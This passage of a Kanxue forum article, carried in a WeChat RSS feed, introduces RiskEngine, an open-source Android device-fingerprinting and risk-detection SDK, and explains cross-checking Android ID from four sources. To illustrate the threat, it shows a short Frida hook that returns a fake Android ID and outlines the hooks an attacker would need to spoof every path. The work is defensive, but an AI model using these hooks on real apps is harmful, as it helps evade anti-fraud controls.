4px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(39, 47, 223);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">企业招聘合作咨询</span></strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: 15px;align-self: center;flex: 0 0 auto;height: auto;box-sizing: border-box;"><div style="transform: perspective(0px);-webkit-transform: perspective(0px);-moz-transform: perspective(0px);-o-transform: perspective(0px);transform-style: flat;box-sizing: border-box;"><div style="justify-content: center;display: flex;flex-flow: row;margin: 0px;transform: rotateY(180deg);-webkit-transform: rotateY(180deg);-moz-transform: rotateY(180deg);-o-transform: rotateY(180deg);box-sizing: border-box;"><div style="display: inline-block;width: 8px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;height: auto;background-color: rgb(39, 47, 223);box-sizing: border-box;"><div style="margin: 0px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.6708860759493671" data-s="300,640" data-type="png" data-w="395" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130982" src="https://wechat2rss.xlab.app/img-proxy/?k=fb77c8e4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K0icIdLGNsSWZRPUgUEFGuk9aYNxHwLcjNObqjEiaVU5nNs5cNIW6IBNUkepibIezEzwXLJ0RW1P3HM9d3AKRia7YYicDTicoKAic4MAM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div></div></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="396" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130985" src="https://wechat2rss.xlab.app/img-proxy/?k=cffb4183&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K1ktj9Ha0VJnSiczVx8jKI3eDbXD4H2oCHM8m4OvFTfqABWBiaLbo8DqKkYsLKmm9iaVMcibJ9ia1DM47OZrb8UKICy6smxPT4g1icr0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.26296296296296295" data-s="300,640" data-type="jpeg" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130986" src="https://wechat2rss.xlab.app/img-proxy/?k=98adb0bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K2rfcnjrUVoWryBib3XRcyooibB4cfEA14eaTuTJF8qaD1u4tfhmiakPWmyk199zVYFBlIcxS72dEHIvL6fWZicjLsIzHchQ33oFsw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.46875" data-s="300,640" data-type="jpeg" data-w="640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130989" src="https://wechat2rss.xlab.app/img-proxy/?k=7518b882&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K3GdtkcpN2TibYV9AkmcQVsCFXiaOxgjiaQ0oGVhJdRbuM5K1PLs10zWXl7FVcibc71dQnQmwSBrv64EM7Yucos3ZhppKic7W1oiaM3A%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 20%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130990" src="https://wechat2rss.xlab.app/img-proxy/?k=03572ba3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K31rE9bnianKzIZ6ZcIoJibgM8MPw030Odfol1COibSLlBjRkTUF5yMqtKjagZyxtpgbXV5hkKoXviahf9y90cYDrbBA89XvHFsMhY%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="font-size: 12px;text-align: justify;box-sizing: border-box;"><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球分享</span></strong></p></div></div><div style="display: inline-block;vertical-align: top;width: 80%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130991" src="https://wechat2rss.xlab.app/img-proxy/?k=aa665afd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FCpo2XCpI7K1OSdNyibQJYzKvSHpCbkVt2TaHZDA0KiaG4eb1xlCJ7GSJiaWxia8xFamWrlYQiaDFic4aYolhc0miaeanK6SNQBPhOvU78KyOsq2YzQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 12px;text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球点赞</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130988" src="https://wechat2rss.xlab.app/img-proxy/?k=ea42fae5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K28JlHia5algl6JVtV1QMCqoZE1FtpPEPc6RUmkiaLAMLtVsUIw1Q41eL614MkQ49flwtAQ2VNbN5IXf7mRugnPichP9k6C6sxs50%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 12px;text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球在看</span></strong></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 10%;box-sizing: border-box;"><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.696" data-s="300,640" data-type="gif" data-w="500" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130987" src="https://wechat2rss.xlab.app/img-proxy/?k=6a7c61d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K1XBOqk4zj1GqOospfO6QicEpfUD5iawg36nRfcGnutMVf3sKHgSnJubW0ibNedo2ILIRAvF10VfEibjZUNMOzOuJPxjHUFmP8ZIz4%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><div style="display: inline-block;vertical-align: top;width: 90%;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 10px 0% 0px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;"><span leaf="">点击阅读原文『投递简历』</span></span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="https://job.kanxue.com/position-list.htm">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=bd81578a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMjM5NTc2MDYxMw%3D%3D%26mid%3D2458614670%26idx%3D2%26sn%3Dfaeae0a3c965268c65cc294ccdf7c81b">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 08 May 2026 17:59:00 +0800</pubDate>
    </item>
    <item>
      <title>RiskEngine 开源设备指纹和风险监测SDK</title>
      <link>https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614670&amp;idx=3&amp;sn=090bb02a3e7953bad8d45f2d15d8aefe</link>
      <description>看雪论坛作者ID：WsttXm</description>
      <content:encoded><![CDATA[<p><span>WsttXm</span> <span>2026-05-08 17:59</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c960cd22&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K0boWjsNRJtCCsh3NwwibZBBYxv67RqYRw3rkUfpZvJ90b97KoYjHWj5FuJAcTrysbguzWA41Tbq28IoBsjeicBTpWwcZ8DJWXcM%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>看雪论坛作者ID：WsttXm</p>
  <h1 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span style="font-weight: normal;font-size: 15px;" mpa-font-style="motoohz21gio"><span leaf="">RiskEngine</span></span><span mpa-font-style="motoohz2qx1" style="font-size: 15px;"><span leaf=""><span textstyle="" style="font-weight: normal;">是我开源在 GitHub 上的一个 Android 端设备指纹采集 + 风险检测 SDK。Java + C++17 双层结构，纯离线，进 App 之后调一次</span></span><code><span leaf=""><span textstyle="" style="font-weight: normal;">RiskEngine.collect()</span></span></code><span leaf=""><span textstyle="" style="font-weight: normal;">拿一份</span></span><code><span leaf=""><span textstyle="" style="font-weight: normal;">RiskReport</span></span></code><span leaf=""><span textstyle="" style="font-weight: normal;">。</span></span></span></h1><p><span leaf="" mpa-font-style="motoohz21h08" style="font-size: 15px;">整篇按&#34;招式&#34;排，一招一招拆。Frida 检测占一半多的篇幅，是整个 SDK 最重的部分，按&#34;对抗演化&#34;的层次从入门级一路讲到内存级。</span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 2;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;padding: 1px 0px;background-image: linear-gradient(90deg, rgba(247, 190, 148, 0) 0%, rgb(247, 190, 148) 50%, rgba(247, 190, 255, 0) 100%);box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 100%;align-self: flex-start;background-color: rgb(255, 255, 255);box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;width: 100%;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-image: linear-gradient(90deg, rgba(255, 235, 194, 0) 0%, rgb(255, 235, 194) 50%, rgba(255, 235, 194, 0) 100%);min-width: 5%;max-width: 100%;height: auto;padding: 8px 20px;border-top-style: solid;border-top-width: 0px;border-bottom-style: solid;border-bottom-width: 0px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(4, 4, 4);letter-spacing: 1px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">项目大致长什么样</span></strong></p></div></div></div></div></div></div></div></div><p><span leaf="" mpa-font-style="motoohz21a7j" style="font-size: 15px;">代码组织上分两层：</span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span mpa-font-style="motoohz2bnu" style="font-size: 15px;"><span leaf="">Java 层放</span><code><span leaf="">riskengine-sdk/src/main/java/com/wsttxm/riskenginesdk/</span></code><span leaf="">，对外 API、各类业务级检测、调度编排</span></span></p></li><li><p><span mpa-font-style="motoohz2wvy" style="font-size: 15px;"><span leaf="">Native 层 C++17 写在</span><code><span leaf="">riskengine-sdk/src/main/cpp/</span></code><span leaf="">下，做接触</span><code><span leaf="">/proc</span></code><span leaf="">、解析 ELF、走系统调用这些&#34;敏感动作&#34;</span></span></p></li></ul><p><span leaf="" mpa-font-style="motoohz21y9" style="font-size: 15px;">入口长这样：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz2j9t"><span leaf=""><span class="code-snippet__title">RiskEngineConfig</span> config = <span class="code-snippet__keyword">new</span> <span class="code-snippet__title">RiskEngineConfig</span>.<span class="code-snippet__title">Builder</span>()</span><span leaf=""><br/></span><span leaf="">        .<span class="code-snippet__title">debugLog</span>(<span class="code-snippet__literal">true</span>)</span><span leaf=""><br/></span><span leaf="">        .<span class="code-snippet__title">collectTimeout</span>(<span class="code-snippet__number">15000</span>)</span><span leaf=""><br/></span><span leaf="">        .<span class="code-snippet__title">build</span>();</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">RiskEngine</span>.<span class="code-snippet__title">init</span>(context, config);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">RiskEngine</span>.<span class="code-snippet__title">collect</span>(<span class="code-snippet__keyword">new</span> <span class="code-snippet__title">RiskEngineCallback</span>() {</span><span leaf=""><br/></span><span leaf="">@Override</span><span leaf=""><span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">void</span> <span class="code-snippet__title">onSuccess</span>(<span class="code-snippet__params">RiskReport report</span>) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">Log</span>.<span class="code-snippet__title">d</span>(<span class="code-snippet__string">&#34;RiskEngine&#34;</span>, <span class="code-snippet__string">&#34;Risk: &#34;</span> + report.<span class="code-snippet__title">getOverallRiskLevel</span>());</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">Log</span>.<span class="code-snippet__title">d</span>(<span class="code-snippet__string">&#34;RiskEngine&#34;</span>, <span class="code-snippet__string">&#34;Score: &#34;</span> + report.<span class="code-snippet__title">getRiskScore</span>());</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">@Override</span><span leaf=""><span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">void</span> <span class="code-snippet__title">onError</span>(<span class="code-snippet__params">Throwable error</span>) {}</span><span leaf=""><br/></span><span leaf="">});</span></code></pre></p><p><span leaf="" mpa-font-style="motoohz2hes" style="font-size: 15px;">接的人不用关心内部细节，等回调就行。但要看安全设计，得看回调背后的逻辑。</span></p><p><span leaf="" mpa-font-style="motoohz25fs" style="font-size: 15px;">代码盘点：12 个 Detector（root、hook、模拟器、调试、mount、ADB、进程扫描、沙箱、云手机、自定义 ROM、方法完整性等），十多个 Collector（android_id、build props、telephony、wifi、bluetooth、签名、屏幕、容器信号等）。Native 那边还有 5 个原生检测器和若干原生采集器。</span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 2;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;padding: 1px 0px;background-image: linear-gradient(90deg, rgba(247, 190, 148, 0) 0%, rgb(247, 190, 148) 50%, rgba(247, 190, 255, 0) 100%);box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 100%;align-self: flex-start;background-color: rgb(255, 255, 255);box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;width: 100%;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-image: linear-gradient(90deg, rgba(255, 235, 194, 0) 0%, rgb(255, 235, 194) 50%, rgba(255, 235, 194, 0) 100%);min-width: 5%;max-width: 100%;height: auto;padding: 8px 20px;border-top-style: solid;border-top-width: 0px;border-bottom-style: solid;border-bottom-width: 0px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(4, 4, 4);letter-spacing: 1px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">招式一：Android ID 读了 4 遍</span></strong></p></div></div></div></div></div></div></div></div><p><span mpa-font-style="motoohz21zqt" style="font-size: 15px;"><span leaf="">采集层定下的第一条原则：</span><strong><span leaf="">单源采集顶多算&#34;原始数据&#34;，做不了&#34;指纹&#34;</span></strong><span leaf="">。</span></span></p><p><span leaf="" mpa-font-style="motoohz2z06" style="font-size: 15px;">Android ID 这种东西，绝大多数人一行就完事：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz21s7l"><span leaf="">String <span class="code-snippet__built_in">id</span> = Settings.Secure.getString(</span><span leaf=""><br/></span><span leaf="">        context.getContentResolver(), Settings.Secure.ANDROID_ID);</span></code></pre></p><p><span leaf="" mpa-font-style="motoohz21hl3" style="font-size: 15px;">放在风控里这就是个一行就能 hook 掉的&#34;假指纹&#34;——一段 Frida 脚本：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz21i9x"><span leaf="">Java.<span class="code-snippet__keyword">use</span>(<span class="code-snippet__string">&#34;android.provider.Settings</span></span><span leaf=""><span class="code-snippet__string">$Secure</span></span><span leaf=""><span class="code-snippet__string">&#34;</span>)</span><span leaf=""><br/></span><span leaf="">    .getString.<span class="code-snippet__title">overload</span>(...).implementation = </span><span leaf=""><span class="code-snippet__keyword">function</span>() </span><span leaf="">{</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#34;0123456789abcdef&#34;</span>;</span><span leaf=""><br/></span><span leaf="">    }</span></code></pre></p><p><span leaf="" mpa-font-style="motoohz2gki" style="font-size: 15px;">设备指纹工作直接归零</span></p><p><span mpa-font-style="motoohz217kr" style="font-size: 15px;"><code><span leaf="">collector/java_layer/AndroidIdCollector.java</span></code><span leaf="">里同一个 Android ID 从 4 个独立路径各读一遍：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz2ugw"><span leaf=""><span class="code-snippet__keyword">@Override</span></span><span leaf=""><br/></span><span leaf="">protected void collect(CollectorResult result) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">collectViaSettingsApi</span>(result);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">collectViaNameValueCache</span>(result);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">collectViaContentResolver</span>(result);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">collectViaContentQuery</span>(result);</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span leaf="" mpa-font-style="motoohz215q3" style="font-size: 15px;">四条路：</span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 13.475px;color: rgb(166, 44, 100);word-break: break-word;"><span leaf="" mpa-font-style="motosnrhl68" style="font-size: 15px;">Settings.Secure.getString</span></code><p><span leaf="" mpa-font-style="motosnrh17ro" style="font-size: 15px;"> 标准 API，最常见的一条</span></p></li><li style="box-sizing: border-box;"><p><span mpa-font-style="motosnrh1hkv" style="font-size: 15px;"><span leaf="">反射 </span><code style="box-sizing: border-box;font-family: SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;color: rgb(166, 44, 100);word-break: break-word;"><span leaf="">sNameValueCache.mValues</span></code><span leaf="">，直接掏 Settings 的内部缓存。这条要绕 hidden API，加了 </span><code style="box-sizing: border-box;font-family: SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;color: rgb(166, 44, 100);word-break: break-word;"><span leaf="">HiddenApiBypass.addHiddenApiExemptions(&#34;&#34;)</span></code></span></p></li><li style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 15px;color: rgb(166, 44, 100);word-break: break-word;" mpa-font-style="motosnrh1kl6"><span leaf="">ContentResolver.call(&#34;GET_secure&#34;, &#34;android_id&#34;)</span></code><p><span leaf="" mpa-font-style="motosnrhyo2" style="font-size: 15px;">，走 ContentProvider 的 call 通道</span></p></li><li style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 15px;color: rgb(166, 44, 100);word-break: break-word;" mpa-font-style="motosnrh1mx7"><span leaf="">content query</span></code><p><span mpa-font-style="motosnrh1apw" style="font-size: 15px;"><span leaf=""> 命令行，直接 fork 一个 </span><code style="box-sizing: border-box;font-family: SFMono-Regular, Menlo, Monaco, Consolas, &#34;Liberation Mono&#34;, &#34;Courier New&#34;, monospace;color: rgb(166, 44, 100);word-break: break-word;"><span leaf="">content query --uri content://settings/secure ...</span></code><span leaf=""> 子进程读 stdout</span></span></p></li></ul><p><code mpa-font-style="motoohz21xk0" style="font-size: 15px;"></code></p><p><span mpa-font-style="motoohz2nfg" style="font-size: 15px;"><span leaf="">四路读到的值丢同一个</span><code><span leaf="">CollectorResult</span></code><span leaf="">，由</span><code><span leaf="">core/DataAggregator.java</span></code><span leaf="">比对一致性。</span><code><span leaf="">DataAggregator</span></code><span leaf="">第 27 行起：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="motoohz212ch"><span leaf=""><span class="code-snippet__keyword">if</span> (fingerprint.<span class="code-snippet__title">hasInconsistency</span>()) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">List</span>&lt;<span class="code-snippet__title">String</span>&gt; inconsistent = fingerprint.<span class="code-snippet__title">getInconsistentFields</span>();</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">List</span>&lt;<span class="code-snippet__title">String</span>&gt; details = <span class="code-snippet__title">List</span>.<span class="code-snippet__title">of</span>(<span class="code-snippet__string">&#34;inconsistent_fields:&#34;</span> + ...);</span><span leaf=""><br/></span><span leaf="">    allDetections.<span class="code-snippet__title">add</span>(<span class="code-snippet__keyword">new</span> <span class="code-snippet__title">DetectionResult</span>(</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;multi_source_validation&#34;</span>,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">RiskLevel</span>.</span><span leaf="">HIGH</span><span leaf="">,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__title">DetectionStatus</span>.</span><span leaf="">DANGER</span><span leaf="">,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">6</span>, <span class="code-snippet__number">10</span>, <span class="code-snippet__literal">false</span>, details, evidence</span><span leaf=""><br/></span><span leaf="">    ));</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span mpa-font-style="motoohz210cy" style="font-size: 15px;"><span leaf="">任意两路不一致直接合成一个</span><code><span leaf="">multi_source_validation</span></code><span leaf="">的 HIGH 级检测项。</span></span></p><p><span leaf="" mpa-font-style="motoohz216ux" style="font-size: 15px;">这个设计的关键不在每条单路读到了什么，而在让攻击方同时维护四条路径的一致性。hook 一个静态 Java 方法，一行 Frida 就够。要让四条路全部返回&#34;一致的伪造值&#34;，要做的事是：</span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span mpa-font-style="motoohz2124q" style="font-size: 15px;"><span leaf="">hook</span><code><span leaf="">Settings.Secure.getString</span></code></span></p></li><li><p><span mpa-font-style="motoohz21snf" style="font-size: 15px;"><span leaf="">hook 反射读</span><code><span leaf="">mValues</span></code><span leaf="">的路径，要么 hook</span><code><span leaf="">Field.get</span></code><span leaf="">，要么 hook 整个 ArrayMap 的</span><code><span leaf="">get</span></code></span></p></li><li><p><span mpa-font-style="motoohz220fd" style="font-size: 15px;"><span leaf="">hook</span><code><span leaf="">ContentResolver.call</span></code></span></p></li><li><p><span mpa-font-style="motoohz2tut" style="font-size: 15px;"><span leaf="">拦截</span><code><span leaf="">content query</span></code><span leaf="">子进程的 stdout——这条最难，子进程不在 inject 的进程里</span></span></p></li></ul><p><span leaf="" mpa-font-style="motoohz222re" style="font-size: 15px;">第四条命令行通道，要拦只能 root 之后 hook 整个 system_server 改 settings provider，或者拦 shell 调用本身，工作量级跳一档。加这一路就是冲着&#34;hook 不到的同进程外路径&#34;来的。</span></p><div style="font-size: 15px;letter-spacing: 1px;line-height: 2;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;padding: 1px 0px;background-image: linear-gradient(90deg, rgba(247, 190, 148, 0) 0%, rgb(247, 190, 148) 50%, rgba(247, 190, 255, 0) 100%);box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 100%;align-self: flex-start;background-color: rgb(255, 255, 255);box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;width: 100%;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-image: linear-gradient(90deg, rgba(255, 235, 194, 0) 0%, rgb(255, 235, 194) 50%, rgba(255, 235, 194, 0) 100%);min-width: 5%;max-width: 100%;height: auto;padding: 8px 20px;border-top-style: solid;border-top-width: 0px;border-bottom-style: solid;border-bottom-width: 0px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(4, 4, 4);letter-spacing: 1px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">招式二：把检测下沉到 